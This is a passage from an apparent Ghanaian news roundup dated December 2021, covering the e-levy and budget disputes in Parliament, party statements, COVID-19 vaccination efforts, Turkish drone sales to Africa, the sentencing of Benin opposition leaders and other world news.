you through this eye-opening adventure, it is demonstrably clear, that the Hon. Minority MPs were either ill-informed, refused to read as notoriously known for, or were simply incompetent at their own kindergarten propaganda. Their tales were palpably incoherent and lacked empirical grips on facts. We have amply demonstrated also from the above, that the ruling NPP has significantly done better than the NDC did in their miserable 8years in the Region. Let it be known, that Gonjaland is not oblivious of the work the Akufo-Addo - Bawumia led government has done for the people. The people have a clear appreciation of the wanton neglect that their Brother, Son, and Grandson, Former President Mahama took them through. They have not forgotten the limbless governance of their own Son, Mr. John Mahama, that refused out rightly to give our overlord and his people water when they complained of thirst. The then Yapeiwura and his people have not forgotten the agony they went through under their own before President Akufo-Addo salvaged them. The people of Kpembe, Salaga and its environs have no short memories as postulated by former President Mahama in the past. They have not also forgotten the very recent act of their own Son carrying track loads of items and cash to dear victims (about 3000) in Keta whiles over 10,000 of his kinsmen were wallowing in floods without even a visit from him. I conclude by repeating my earlier challenge to Hon. Chiwetey and his Minority colleagues to either come and deny the existence of these projects or simply apologize to the people of Ghana so to keep their Honorable titles. God bless Gonjaland and God bless our Homeland Ghana. Thank you for coming. Mohammed Issah (0244227266) Director of Communications Savannah NPP The New Patriotic Party (NPP) says 38 proposals have been tabled for possible amendments to the party's constitution. Key among the 38 is a proposal to elect a presidential candidate two clear years before a major election. Currently, the party elects a candidate two years before elections if the party is in opposition and a year when the party is in power. Party members believe the current arrangement makes it difficult for a new candidate to mend bridges and heal the wounds of other aspirants before the election. Speaking to Citi News, Director of Communications for the NPP, Yaw Buaben Asamoa said the party will use the upcoming National Delegates Conference to consider these proposals. All the proposals that have been forwarded will be debated and either accepted or rejected. Once accepted, everybody at the conference will know the ones that have been accepted, and then they will be made amenable to legal language and then incorporated into the Constitution. The NPP has scheduled December 18 to December 20, 2021, to hold its National Annual Delegates Conference in Kumasi, in the Ashanti region. Ahead of the conference, the party has banned all activities associated with internal party contests, parliamentary and presidential primaries, as well as the display of paraphernalia and advocacy for aspirants at the party's upcoming National Annual Delegates Conference, to be held in Kumasi. ---citinewsroom Weeks and days have come by and yet majority of Ghanaians are caught between believing the 2021 budget has been approved or not, after the first deputy Speaker of Parliament, Hon. Joseph Wise rescinded the ruling of the Speaker of Parliament to approve the 2021 budget in a very dramatic fashion. The opposition National Democratic Congress (NDC), other organizations and several common Ghanaians have called on the removal of some taxes introduced in the 2021 budget as they believe it would be problematic and irrelevant, notable is the taxes on fuel prices and the controversial e-levy scheme which keeps making headlines and disapproval from Ghanaians. Just after reports suggested that the Minority side of Parliament have agreed to a 1% reduction rate of the e-levy, the Member of Parliament for the Builsa South Constituency in the Upper East region under the ticket of the National Democratic Congress (NDC), Dr. Clement Apaak has disclosed that the statement by the Minority Leader, Haruna Iddrissu was a political strategy to test the reaction of Ghanaians. He indicated that the idea was also to get even with the Majority who suggested that they held discussions with them, and the Minority was only trying to save face. Speaking to Samuel Eshun during an interview on the Happy Morning Show, he said, It was very obvious our Leader used language that was first person singular throughout his submission. He never made reference to his party, and never made reference to his caucus. It was our strategy and we know exactly what we are doing. What we wanted to achieve with that plan was also successful. The Majority had already come out publicly to make claims that we were negotiating with them for a reduction of the e-levy and created an impression among Ghanaians that we were the ungrateful side. It was also our way to get back at them and we succeeded. We issued a statement just after our Minority Leader suggested we would agree to a 1% rate and it was at the instruction of our leader himself. He went on and told our whip to issue the statement at his own express instruction. This was our political game as in politics there are many ways of killing a cat. He further cautioned the ruling government and the Majority caucus in Parliament that they would never succumb to an e-levy tax and that it is best to be scrapped off. We will oppose and continue to oppose anything to do with any 1.75% e-levy tax. In fact we say 0%, it should never see the light of day and that is our position. We are not going to beg, we are not going to relent, it is not right, it is not proper, it is regressive, it would bring financial exclusion, and not to the point this government have not been able to account for resources allocated, he added. ---happyghana.com The Ayawaso West Municipal Health Directorate says it is strategically running a house to house COVID-19 vaccination exercise to get people in the communities fully vaccinated. The exercise has helped reach out to members within the municipality, leading to about 60 per cent of the population taking one of the vaccines. Madam Louisa Ademki Matey, Ayawaso West Municipal Health Director, said this during a sensitization and vaccination programme organized by Stratcomm Africa and Mastercard Foundation in collaboration with the Health Directorate. Madam Matey said they had intensified the campaign on adherence to safety protocols and needed to visit homes now that people have relaxed in going by the protocols. Since the vaccination began in March this year till now, only 20 per cent of the population in the municipality had fully been vaccinated, she added. She said the aim, therefore, was to get to the smaller communities and to also get the artisans to go for the vaccination and capture everyone on board. "We will not sit at the Legon Hospital and expect them to come, she said Madam Matey explained that the strategy afforded them the opportunity to further engage households about coronavirus and the need for strict adherence to the protocols. The Health Director said they had had community volunteers, who had offered their services for free in the last three months. She lauded the contribution of agencies and advocacy groups, who had supported in diverse ways, saying they would continue to collaborate and never relent in their approach. Ms Myra Ankrah, Representative from Stratcomm Africa, underscored the need to engage more and broaden the knowledge base of the masses to reduce the myth and conspiracy theories, particularly as the virus kept mutating and having different names. "It is important to get close to the community, as they talk about myth and find out what those myths are, and debunk them and also continue to push the message down to them," she said. Ms Ankrah said they were targeting two million people across communities and that similar projects had started in the northern part of Ghana. The sensitization and vaccination exercise at the Okponglo Park was the third held in succession by the two organisations after Agbogbloshie and Tema Newton. The event saw young people performed on stage to educate participants about the safety measures, symptoms and vaccines of COVID-19 in the Ga language. GNA The Vice-Chairman of the Communications Committee of Parliament, Sylvester Tetteh, has accused the Minority members on the committee of stalling the consideration of budget estimates for the Ministry of Communications and Digitalisation. According to the Bortianor-Ngleshie Amanfro MP, what the Minority did was a show of populism. Budget hearings for the Ministry on Tuesday, December 14, 2021, hit a snag after the Minority insisted that they will only proceed with the consideration of the estimates when the National Communications Authority provides its annual reports to the House. The annual report for the state entity has not been presented to Parliament for a number of years. The Deputy Ranking Member of the Committee, Sam George said it is telling that from 2015, 2016, 2017, 2018, 2019, and 2020, the ministry has not brought any such report. He, however, said the Minister had made some positive assurances to the committee. But Sylvester Tetteh in a Citi News interview said the Minority MPs were unfair to the Minister. What they did was just a show of populism, and it doesnt help anybody. What happened at the committee didnt take the insistence of the Minority to produce the report. In the Ministers initial commentsshe said they made this request last year, and it wasnt ready, and if its not ready, its not ready. ---citinewsroom Government has announced plans to pilot a six-year secondary education system beginning in 2023. In 2023 when we open those schools, you are going to see how we are going to see six years [of] quality secondary education, the Education Minister, Dr. Yaw Osei Adutwum, said to the press on Tuesday. This system will be piloted at 15 sites and is envisioned to be more efficient and cost-effective. We have 13,000 Junior High Schools. If these reforms go on as planned, we are going to reduce to about 2,500, Dr. Adutwum said. In all medium-sized communities and towns, we are going to change the space by ensuring we do an amalgamation and bring together all the Junior High Schools, put them under the same management in the same building. When you bring 12 schools together and put them under one umbrella; you have one headmaster, you can get a school bus for them, you can get a pickup for the headmaster. You can have an office manager. You have a more efficient organization. Dr. Adutwum has long been a critic of Junior High School education, which he has described as the weakest link in our education system. Though he commended relative equality at that level, he noted that putting people at the same level does not mean you are creating an equitable system if you do not provide the opportunity for people who are disadvantaged to really improve. In his view, by the time they get to high school, they are not prepared for high school work, and they all know that. Until the 1987 Education Act, primary schools in Ghana were for 10 years. It was reduced to nine years, with the final three years designated as Junior High School. This was implemented due to findings in the Dzobo Committee report of 1973, which stated that intermediate education in Ghana should consist of more vocational, science, agricultural, and technical courses to align with national development goals. ---citinewsroom Government has said that all 11 countries will be removed from the UKs travel red list from 4am on Wednesday. Angola, Botswana, Eswatini, Lesotho, Malawi, Mozambique, Namibia, Nigeria, South Africa, Zambia and Zimbabwe are on the list. The red list was reintroduced in late November as a precaution after the emergence of the Omicron variant. But Health Secretary Sajid Javid said it had spread so widely the rules no longer had much purpose. Now that there is community transmission of Omicron in the UK and Omicron has spread so widely across the world, the travel red list is now less effective in slowing the incursion of Omicron from abroad, he told Parliament. Whilst we will maintain our temporary testing measures for international travel we will be removing all 11 countries from the travel red list effective from 4am tomorrow morning. All UK arrivals from red list countries are required to pay for and self-isolate in a pre-booked, government-approved hotel for 10 days. But with all 11 countries being removed from that list, it was confirmed that those currently in managed quarantine would be allowed to leave early and follow the rules as if they had arrived from a non-red list country. Some travellers had paid thousands of pounds to stay in government-approved quarantine hotels, with complaints of chaotic organisation and inedible food during their stays. Anyone who has tested positive will to remain in isolation, the Chancellor of the Duchy of Lancaster Stephen Barclay told the House of Commons. Mr Javid also said earlier he was very persuaded by calls to reimburse people and hoped to make an announcement on that soon. Source: www.bbc.com Armed with battle-tested drones, Turkish President Recep Tayyip Erdogan has been deepening defence ties with African countries ahead of a major gathering of the continent's leaders in Istanbul. The two-day Turkey-Africa partnership summit starting Friday comes fast on the heels of a top-level business forum in October that focused on investment and trade. The next phase of this fast-blossoming relationship is security, experts say, with a host of African leaders looking to buy up military hardware at cheaper prices and with fewer strings attached. Leaders and top ministers from 39 countries -- including 13 presidents -- have confirmed attendance, with Erdogan set to make a speech on Saturday. Ankara already has a military base in Somalia, and Morocco and Tunisia reportedly took their first delivery of Turkish combat drones in September. Angola became the latest to express an interest in unmanned aerial vehicles (UAVs) during Erdogan's first visit to the southern African country in October. Turkey in August also signed a military cooperation pledge with Ethiopian Prime Minister Abiy Ahmed, who has been embroiled in a war with Tigrayan rebels for the past year. "The most important sector is the defence sector because this is a new asset. Turkey has pushed this sector a lot, especially drones," Federico Donelli, an international relations researcher at the University of Genoa, told AFP. 'Everyone asks about UAVs' Russia has been the dominant player on the African arms market, accounting for 49 percent of the continent's imports between 2015 and 2019, according to the Stockholm International Peace Research Institute (SIPRI). Demand for Turkish combat drones. By Valentin RAKOVSKY (AFP) But interest in Turkish weaponry is peaking. The TB2 Bayraktar model is in high demand after it was credited with swinging the fate of conflicts in Libya and Azerbaijan's breakaway region of Nagorno-Karabakh in the past few years. The drones are made by the private Baykar company, run by one of Erdogan's sons-in-law. "Everywhere I go in Africa, everyone asks about UAVs," Erdogan boasted after a visit to Angola, Nigeria and Togo in October. Some of the closest scrutiny has focused on Turkey's ties with Ethiopia, where a brutal conflict has killed thousands, displaced more than two million and driven hundreds of thousands into famine-like conditions, according to UN estimates. A Western source said Turkey sent an undisclosed number of combat drones in support of Abiy's campaign earlier this year, but that Ankara has since responded to international pressure and halted the sales. "Ethiopia can buy these drones from whoever they want," Turkey's foreign ministry spokesman said in October, neither confirming or denying the sales. Soaring sales Official Turkish data does not break down the details of military sales to individual countries, only giving the total sales amount for each month. These have soared spectacularly in the past year. Turkish defence and aviation exports to Ethiopia rose to $94.6 million between January and November from around $235,000 in the same period last year, according to figures published by the Turkish Exporters Assembly. Sales to Angola, Chad and Morocco experienced similar jumps. Turkey's drones first made international headlines after Ankara signed two deals with the UN-recognised Libyan government covering maritime and security in 2019. It then swarmed the conflict zone with drones, stalling an advance by rebel eastern forces backed by Turkey's regional rivals and paving the way for a truce. Turkey cemented its drones' reputation last year by helping Azerbaijan recapture most of the land it lost to separatist ethnic Armenian forces in disputed Nagorno-Karabakh nearly three decades ago. "Now Turkey with drones has more cards to play when they have to bargain with other countries," researcher Donelli said. "This is a very good bargaining chip for Turkey." Growing network The head of Turkey's Foreign Economic Relations Board -- the NGO that hosted the October forum in Istanbul -- insisted the growing relationship was not just about weapons. "We care about the defence sector and our relations with Africa," the board's head Nail Olpak told AFP. "But I would like to emphasise that if we see the defence sector only as weapons, rockets, guns, tanks and rifles, it would be wrong." He highlighted Turkish mine-clearing vehicles in Togo, which qualify as defence industry sales. Donelli agreed, referring to Togo's plans to improve its army with the support of Turkey through training and armoured vehicles, weapons and other kinds of equipment. Turkey has reportedly set up a web of 37 military offices across Africa in all, in line with Erdogan's affirmed goal of tripling the annual trade volume with the continent to $75 billion in the coming years. Benin -- once lauded as a poster child of good governance in West Africa -- is facing mounting criticism after two opposition leaders were handed long jail terms in hasty trials last week. On Tuesday, academic Joel Aivo was jailed for 10 years for "plotting against the state". Four days later, Reckya Madougou, a former justice minister, received 20 years for "terrorism". Both trials lasted less than two days. Both took place at the Economic Crime and Terrorism Court (CRIET), set up in 2016 ostensibly to end the impunity of Benin's political elite, but which critics charge is being used by President Patrice Talon to snuff out dissent. The cases raise "grave concerns about political interference in Benin's criminal justice system", the US State Department said in a statement on Monday, expressing alarm at the "systematic targeting" of opposition figures. "Demonstrating... that the judicial system will not be used for political purposes is essential to restoring Benin's former reputation as a regional leader in democratic governance and rule of law," said spokesman Ned Price. Already under fire over the erosion of democracy and electoral irregulatiries, fears are mounting Talon, a former cotton magnate first elected in 2016, is now undermining the rule of law and independence of the country's courts. Aivo and Madougou had brought a sliver of hope for the opposition during the 2021 election, but their candidacies were rejected by the electoral commission and Talon was re-elected with 86 percent of votes in a poll widely boycotted by the opposition and marred by violence. Both were arrested around the April election -- Madougou just days before the vote, and Aivo the day after the results were announced. 'Decided in advance' Signs of a political appeasement emerged in September when Talon met with his biggest rival, former president Thomas Boni Yayi, but these latest trials dealt a fresh blow for the opposition and democracy in the country. "We were dealing with a trial that was already decided in advance," said Bill Souleymane Kingninouho, a key member of Yayi's party who fled to Togo with a dozen others just before the last election. The court judgements were a sign "that we did well not to return to our country," he said. The two opposition leaders have 15 days to lodge an appeal, but they have to do so through the same jurisdiction that sentenced them. With no new elements to support their case, they would most likely be condemned again, according to political analyst Mathias Hounkpe. A week before the 2021 election, one of CRIET's judges fled the country after denouncing political pressures, including in the Madougou trial. The government denies any interference in the judicial system and says the CRIET was set up to put an end to impunity among the political elite. "This fight against impunity is absolutely necessary in Benin, but it loses in credibility when we see that it is being used to neutralise political adversaries rather than go after anyone close to power," said Gilles Yabi, founder of the West African think tank Wathi. Calls for clemency Calls for clemency on the Aivo and Madougou cases are multiplying from the opposition but also from civil society. "Beninese people are not used to heavy sentences like this and a total lack of compassion," said Yabi. "That's why people are hopeful there will be a presidential pardon, now that the authorities showed who was the strongman." Government spokesman Wilfried Houngbedji told reporters after the sentencing of Aivo that "the head of state, according to the constitution, has the power to pardon prisoners, whatever the nature of the infraction committed". Talon, 63, was himself forced into exile in 2014 after he was accused of plotting against Yayi. Following a pardon by Yayi, Talon returned to Benin, where he ran for office two years later. Whether or not Aivo and Madougou are pardoned, for Hounkpe, their sentencing "further demonstrates how vulnerable citizens are". The message from the government "is that they can throw you in prison if they want, and free you if they want, to eventually lock you in again," he said. The Progressive Peoples Party (PPP) is backing the Minority Caucus in Parliament to reject the Electronic Transactions Levy (E-Levy) with the argument that it will worsen the already dire and precarious economic and harsh living conditions of the citizenry. In a statement, the PPP says the solution to Ghanas economic challenges is not the imposition of a monstrous tax like the E-Levy. We are against this new tax measure because we believe the solution to the current economic challenges in the country is not imposition of new taxes to raise revenue, the PPP statement issued by its 2020 Vice Presidential Candidate, Kofi Asamoah Siaw has said. PPP says it opposes the budget proposal because government has failed to demonstrate clear accountability in the management of public funds. What we have is the empty sloganeering such as, Protecting the Public Purse, whilst in actual fact, the purse is leaking profusely, as the Auditor-General keeps reporting, or the deliberate set-up of a looting machine to dissipate public funds to the benefit of party functionaries and appointees of the regime. To this end, we call on all our Members of Parliament, and especially the NDC Minority, to remain resolute in the defence of the people of Ghana by rejecting this insensitive E-levy proposal, the statement added. It concludes, Parliament should note that they are not alone in their patriotic opposition to the 2022 budget. The PPP stands shoulder-to-shoulder with our MPs in Parliament in your bid to exercising your parliamentary oversight to reject the 2022 budget and more especially the E-Levy. Read the full PPP statement below: REJECT E-LEVY WITH YOUR PARLIAMENTARY OVERSIGHT The Progressive Peoples Party (PPP), in support of the grievances of the good people of Ghana, states forcefully that, we are opposed to, disagree with and reject the imposition of any additional taxes in the 2022 Budget Statement, especially the draconian E-Levy. We are against this new tax measure because, we believe the solution to the current economic challenges in the country is not imposition of new taxes to raise revenue. Rather, it is about the prudent management of national revenue required of the President, the Finance Minister and their seemingly unapologetic, clueless lieutenants. The PPP believes that, the role of parliament or Members of Parliament, irrespective of their political party, represents the interest and aspirations of the good people of Ghana. It is evidently clear, that, the people of Ghana are UNITED, speaking against this monstrous tax handler called the E-levy. Therefore, it is the job of our MPs to live up to their representative function and reject this insensitive and draconian budget proposal in consonance with the aspirations of the overwhelming majority of their constituents. Again, we are opposed to this budget proposal because the government has failed to demonstrate clear accountability in the management of public funds. What we have is the empty sloganeering such as, Protecting the Public Purse, whilst in actual fact, the purse is leaking profusely, as the Auditor-General keeps reporting, or the deliberate set up of a looting machine to dissipate public funds to the benefit of party functionaries and appointees of the regime. For example, the Auditor-Generals report for 2020 indicates that, the People of Ghana, lost over GHS12billion (USD2Billion) to corruption in a single year. Interestingly, the expected or projected revenue from the E-levy in the 2022 budget statement is only a little over GHS6billion (USD1Billion). One will therefore ask: why waste GHS12billion through corruption and introduce an obnoxious tax with the hope to generate a revenue target of GHS6bllion? It makes simple sense that, the desperately needed GHS6billion additional revenue and more, will be at the disposal of the government with ease when corruption is checked instead of the unwarranted imposition of more insensitive taxes such as the E-Levy. More to it, the Minister of Finance and his colleague, the National Security Minister has blatantly refused to account to parliament how much it cost "We the People" to fly the President around the world in the new-found and obscene taste for luxurious jets, and how much it cost us to keep the chartered jet blocked for months solely for our Presidents use, even when it was not needed. How can we burden share whilst only our topmost public servants are dissipating the so called insufficient public revenue on an unnecessary and obscene taste for nouveau riche luxury at the expense of the poor tax payer? Again, the Finance Minister has even refused to account for the portion of the petroleum revenue going into the Annual Budget Funding Account (ABFA) for five consecutive years, effectively calling the bluff of the Public Interest & Accountability Committee (PIAC) and in violation of the petroleum revenue management laws passed by the Parliament of Ghana. The greatest demonstration of arrogance of power, complete disregard for the peoples power and contempt of parliament is, for the Finance Minister to seek approval from the same august House of Parliament to which he has refused to render account in terms of his respect for PIAC and the Petroleum Management Laws and the necessity to respond to the urgent questions filed regarding the cost of the luxurious presidential travels. In addition, the Finance Minister says GHS10billion has been earmarked for YouStart the governments youth entrepreneurial start-up program. Meanwhile, there are contractors and other businesses that has been purposefully collapsed because the government under the same Minister has refused to pay them what they are owed. We know for a fact that those contractors and business owners are also entrepreneurs. The Ghana Chamber of Contractors published recently that they are OWED in terms of Interim Payments Certificates (IPCS), an amount of Ghc10billion since 2017 which continue to remain unpaid and accumulating interest. This amount is different from debt owed due to termination of contracts and suspension of ongoing projects. What is the point in collapsing a group of entrepreneurs and attempt to create others by deceptively urging the youth to start all over again? What message is being sent to these young entrepreneurs about the future of their businesses? Or might it be just another way to enrich party foot soldiers and apparatchiks? Therefore, instead of the government projecting YouStart, as some magic wand to create entrepreneurs overnight, the Finance Minister should prioritise the payment of, and indeed pay the deliberately delayed government indebtedness to those Ghanaian entrepreneurs and then they can proceed to introduce their plan of creating more entrepreneurs. To this end, we call on all our Members of Parliament, and especially the NDC Minority, to remain resolute in the defence of the people of Ghana by rejecting this insensitive E-levy proposal. The E-levy if accepted in any shades or form, will disrupt economic activities and growth and will worsen the already dire and precarious economic and harsh living conditions of the citizenry. Parliament should note that they are not alone in their patriotic opposition to the 2022 budget. The PPP stands shoulder-to-shoulder with our MPs in Parliament in your bid to exercising your parliamentary oversight to reject the 2022 budget and more especially the E-Levy. Sign: Kofi Asamoah-Siaw 2020 Vice Presidential Candidate 15.12.2021 LISTEN Deputy Chairpersons of the Electoral Commission Dr Bossman Asare and Mr Samuel Tettey were sacked from a meeting with Parliaments Special Budget Committee which is considering the 2022 budget estimates of the election management body. The two deputies failed to justify the absence of EC Chair Jean Mensa at the meeting. The Committee said it will not discuss the ECs budget until Mrs Mensa showed up in person at the meeting. It noted that there were important constitutional matters, including the creation of a constituency for Santrokofi, Akpafu, Lipke and Lolobi (SALL), which Mrs Mensa needed to address. Speaking to the media later, a member of the committee, Mr Ahmed Ibrahim, who is also the First Deputy Minority Whip, said all the other constitutional bodies have appeared before the committee with their chairpersons and CEOs and, so, it will not be fair to them if Mrs Mensa is left off the hook. He said Mrs Mensa is fond of dodging such invitations. When we went to Rock City to do the mid-year budget performance review, she could not come; her deputies arrived. We listened to them. So, we were with the view that when we come for the budget hearing, she will come. So, it was unfortunate that she was not here, he bemoaned, adding: But there are serious constitutional issues that would be raised in the budget hearing. We cannot claim to be representing the people of Ghana when some of them have no representation. And, if you keep quiet on this, then who else will speak for them. We need to know her policies, juxtapose them with the estimates and the figures, then assess her performance in the previous budget before we can approve the 2022 one, he said. classfmonline.com President Nana Akufo-Addo has said Ghana and Africa must stop depending on the west for aid and stand on their own feet. We need to be self-reliant and shed the image of beggars living on charity, aid and handouts, and make better and more intelligent use of our abundant natural resources in order to pull ourselves out of poverty to prosperity, the Ghanaian leader said on Tuesday, 14 December 2021, when he addressed the European Union Parliament at the invitation of its President, Mr David Maria Sassoli, on a number of issues, including the COVID-19 pandemic, COVID-19 vaccines, trade relations, bilateral co-operation, and peace and security matters. These are not new aspirations; they have simply been reinforced by the lessons of the pandemic, Mr Akufo-Addo told the EU Parliament. On COVID-19 vaccines, he said until everyone is safe, no one is safe from the pandemic, adding: I am a firm believer in the statement that no one is safe until everyone is safe. Let us help make vaccines available to all parts of the world, encourage our citizens to take the jab, and we would win the fight against COVID faster and together. He said COVID-19 has posed the greatest test to humanity in the initial decades of the 21st century, in light of the ravages of the pandemic, which have affected all countries, rich or small. According to President Akufo-Addo, the predictions of Africa going to be hit dramatically because of her relatively weak public health systems, with streets being littered with dead bodies, when the virus reached the continent, have not come to pass. We were not given credit for quickly following the science as recommended, when many leaders in Europe were still fighting ideological battles, and seeking to lay blame on the source of the virus, rather than uniting to fight it, he said. The President continued, At every stage, we, in Africa, have been dismayed to discover that every attempt was being made to make COVID-19 also an African disease. Thus, the narrative emerged that it was not really that Africans were not dying from the pandemic, we had to be covering up the true level of infections. With Africa caught up in the vicious vaccine politics that engulfed the world, he expressed gratitude for the donations of vaccines through platforms such as COVAX, which was good enough to send its first consignment, anywhere in the world, to Ghana. The unsavoury politics of vaccine nationalism the world is witnessing, President Akufo-Addo reiterated, could, however, potentially derail global efforts made at containing the pandemic. Till date, less than 10% of Africa has been vaccinated in comparison to the EU, for example, which, as of August, had vaccinated 70% of its population. With countries on the continent still not being able to have sufficient access to vaccines in the requisite numbers, we, like the World Health Organization, are worried that the phenomenon of hoarding vaccines will worsen even further, as countries begin to administer booster shots in response to the threat posed by the omicron variant of the virus, the President said. He used the opportunity of the platform to reiterate the strong opposition of the Economic Community of West African States (ECOWAS), of which he is Chairperson, to the decision taken by countries, including those in the EU, to single out African countries for the imposition of travel bans. Omicron, according to the President, has been discovered in over forty countries, with reports indicating that this variant was present in the Netherlands way before it was discovered in South Africa. The world should be grateful to the South African scientists, whose knowledge and expertise in genomic sequencing enabled them to identify the new variant. Plaudits, not the condemnation of their peoples, should have been their portion. Why is there not a travel ban imposed on the Netherlands, but against South Africa, one might ask? President Akufo-Addo asked. While acknowledging the importance of Africa building up her health delivery systems to enable the continent to withstand future crises, he told the EU Parliament that his government has launched Agenda 111, which seeks to build district hospitals in each district of Ghana where there is none, so that ordinary people can have ready access to medical care. In addition to this, he stated that Ghana has decided to set up a National Vaccine Institute, which will supervise the domestic production of vaccines across several sectors, including anti-COVID-19 ones, led by the private sector and business community. ---classfmonline.com The Senior Presidential Advisor, Yaw Osafo-Maafo, says the controversial 2022 Budget is one of the best Ghana has ever produced. His reason is that the budget focuses on youth entrepreneurship and employable skills development. He cited the infusion of the electronic levy (E-levy) in the proposed budget towards funding entrepreneurship programmes as one of the best decisions of the government. Mr Osafo-Maafo made the remarks at the unveiling of the new Ghana TVET Service at the Accra Technical Training Centre (ATTC) in Accra on Tuesday on the theme: Stirring Ghanas industrialisation drive through skill acquisition for national development. The new Ghana TVET will bring the 187 TVET institutions spread across 19 ministries under one umbrella towards revamping and mainstreaming technical and vocational education in Ghana. Indeed, this current budget is one of the best this country has ever produced because there are two things in it which are fundamental and these are entrepreneurship training that we are putting as part of the responsibility of government to ensure that the youth is resourced financially to be entrepreneurial, that people cannot use access to funds as a handicap. That people can develop skills and become entrepreneurs. The introduction of the E-levy is extremely critical. These two things in this budget, people must hail it, it is fundamentally a good document, Mr Osafo-Maafo stated. He charged the countrys youth to move beyond the I want a job mentality to embracing a mentality of I am creating a job for myself and others. Mr Osafo-Maafo chronicled the TVET education in Ghana, saying that it provided a platform for making TVET as drivers of development and urged to take advantage of the opportunities of the African Continental Free Trade Area (AfCTA) offered to make a headway in life. The Minority Caucus in Parliament has kicked against the governments 2022 Budget, describing it as not being sensitive to the needs of Ghanaians and businesses as the E-Levy would heighten the economic hardship of the people Mawusi Nudekor Awitey, Director-General of Technical and Vocational Education and Training, in her welcome remarks, said the governments TVET transformation agenda was intended to equip students with employable and entrepreneurial skills for the labour market. She said the Ghana TVET Service would help the nation to produce world-class apprentices while TVET became the first point of call in education. Vice President Dr Mahamudu Bawumia, who was the Special Guest at the launch, said from next academic year, junior high school graduates would be placed under the Computerised School Selection and Placement System to enjoy the governments free senior high school policy. GNA A disgraced ex-bodyguard of French President Emmanuel Macron was detained by police on Tuesday and questioned over a security contract signed by an associate with a Russian oligarch, security sources say. Alexandre Benalla, who was fired in 2018 after being filmed assaulting protesters, was detained by specialised anti-corruption police along with his wife as part of an investigation into the business dealings of his former associate, Vincent Crase, the sources told AFP. Crase, an ex-policeman who once handled security for Macron's political party, told investigators in 2019 that the deal with Russian oligarch Iskander Makhmudov covered security for him and his children in France and Monaco. Benalla denied having anything to do with the contract when he was questioned by a parliamentary committee in 2018. The 30-year-old former nightclub bouncer was once close to Macron, but has since become an embarrassment for the head of state. French investigators are probing possible money laundering and corruption in the deal between Crase's company and Makhmudov, who is reputed to be close to Russian leader Vladimir Putin. The Mediapart investigative website reported in December 2019 that the deal was worth 294,000 euros. Last month, Benalla was convicted for assaulting two young demonstrators during an anti-capitalist demonstration in 2018, as well as faking documents and illegally carrying a firearm. (with AFP) Europe stepped up vaccinations of children aged five to 11 against Covid-19 Wednesday, as the EU's health agency warned immunisation alone would not stop the rapid rise of the Omicron variant. Croatia, Germany, Greece, Hungary and Spain were among those opening up their inoculation drives to younger kids, with other nations still weighing their approach. South Africa -- where Omicron was first detected -- and Britain recorded their highest daily coronavirus case numbers Wednesday as Washington's top diplomat curtailed a tour of Southeast Asia after a delegate caught the virus. At a hospital near Spain's capital Madrid, nurses wearing Christmas antler headbands welcomed children and gave them stickers after their shots. "It only hurt a little," said 11-year-old Magdalena Lazo Vitoria as she left the vaccination centre, a plaster on her left shoulder. "I wasn't nervous because I wanted to get vaccinated for a long time now, so I am really happy." Chart comparing how fast Omicron and other SARS-CoV-2 variants of concern have spread in the UK since their initial discovery. By John SAEKI (AFP) The rapid spread of the heavily mutated Omicron variant lent fresh urgency to the push, as EU chief Ursula von der Leyen warned the new strain could be dominant in Europe by mid-January. Even as children lined up to get jabs, the EU health agency ECDC said measures like mask-wearing, distance working and the prevention of crowds were essential to reduce the burden on healthcare systems in the time available, with vaccines alone taking too long. Spanish Prime Minister Pedro Sanchez said he hoped his country, which already has one of Europe's highest Covid-19 vaccination rates, would become an "example for the world" with its immunisation campaign for five to 11-year-olds. The country has around 3.3 million children in that age group. Lower dose Doctors across Europe reported strong initial demand from parents. "As soon as we offered the vaccine appointments, they were pretty much all snapped up," said Jakob Maske, a Berlin-based doctor and spokesman for Germany's association of paediatricians. Germany's STIKO vaccine commission has officially only recommended the jab for children with pre-existing conditions, but even healthy children will be inoculated if the parents request it. Some German cities plan to administer kids' jabs in museums and zoos, while others are considering mobile vaccination teams outside schools. Police in Germany's Saxony state have responded to threats against politicians. By John MACDOUGALL (AFP/File) But like other countries, Germany also grapples with anti-vaccine militancy and Wednesday saw police in the eastern city of Dresden stage raids over death threats against Saxony state's pro-vaccine premier Michael Kretschmer. While serious illness and death from Covid among children is rare, those infected can pass the virus to other people at higher risk of serious illness, such as the elderly. The EU's medicines watchdog last month approved the lower-dosage Pfizer-BioNTech shot for five- to 11-year-olds, an age group experiencing high coronavirus infection rates across the continent. Tighter restrictions Denmark, which has seen a surge in cases attributed to the new Omicron variant, and some Austrian regions already began offering jabs to younger kids in November. The United States was the first large country to take the plunge and has so far vaccinated more than five million children in the 5-11 age bracket. US Secretary of State Antony Blinken on Wednesday cut short a visit to Thailand after a member of his delegation contracted coronavirus. Several European nations are tightening virus restrictions, with Poland imposing limits on the number of people allowed in restaurants, hotels and theatres. Britain on Wednesday registered 78,610 laboratory-confirmed cases, its highest total of the pandemic, a day after lawmakers approved stricter curbs in England amid estimates of 200,000 daily Omicron infections. The English Premier League also suffered more disruption as a coronavirus outbreak within Watford's squad forced their match against Burnley to be postponed less than three hours before kick-off. Children in Spain began receiving vaccines on Wednesday. By OSCAR DEL POZO (AFP) Italy will from Thursday tighten restrictions for arrivals from the rest of the EU, requiring coronavirus tests for all travellers, while Greece announced a similar measure to come into effect from Sunday. A number of European countries will launch children's vaccination drives in the coming days, including Italy, Portugal, Poland, the Baltic states and the Czech Republic, while others are still finalising their plans. In France, vaccination has only been approved for five to 11-year-olds at risk of developing serious illness, but the government has said it is considering extending it to all children on a voluntary basis. Belgium is awaiting the recommendation of its national health body, with a rollout likely around the new year. British regulators are still assessing whether to approve jabs for the 5-11 age group, with a decision likely before Christmas. Oil prices fell further amid fears of weakening demand caused by the spread of Omicron. Tuesday's session of the Paris attacks trial was dominated by a police report on the Clain family of jihadist extremists. The court also heard from the father of a dead terrorist, another man mystified by the transformation of a his fine, normal son into a murderous stranger. Driss Laachraoui is 66. He seems older. He is the father of Najim, who killed himself in the 2016 Brussels airport explosion, and who is believed to have supervised the making of the suicide vests used in the Paris attacks. Driss Laachraoui doesn't have any answers. His son was "a good kid, brilliant at school. Then he lost interest in his studies and we fell out because his resujts were no good." The father associates that change with the beginnings of his son's intense interest in Islam and attendance at a Molenbeek mosque. "I thought he was learning Arabic. "I didn't know his friends because I wouldn't let them into the house. "He was indoctrinated. I tried to talk to him but he was so radical, dialogue became impossible. "I cut the wi-fi service in the house to keep him off the internet. I took his passport. But he still went to Syria. He told me it was to fight against Bashar Al Assad. I didn't want him involved in a fight between nations. 'Like talking to a wall' "We spoke on the phone for two or three months after he left. He told me 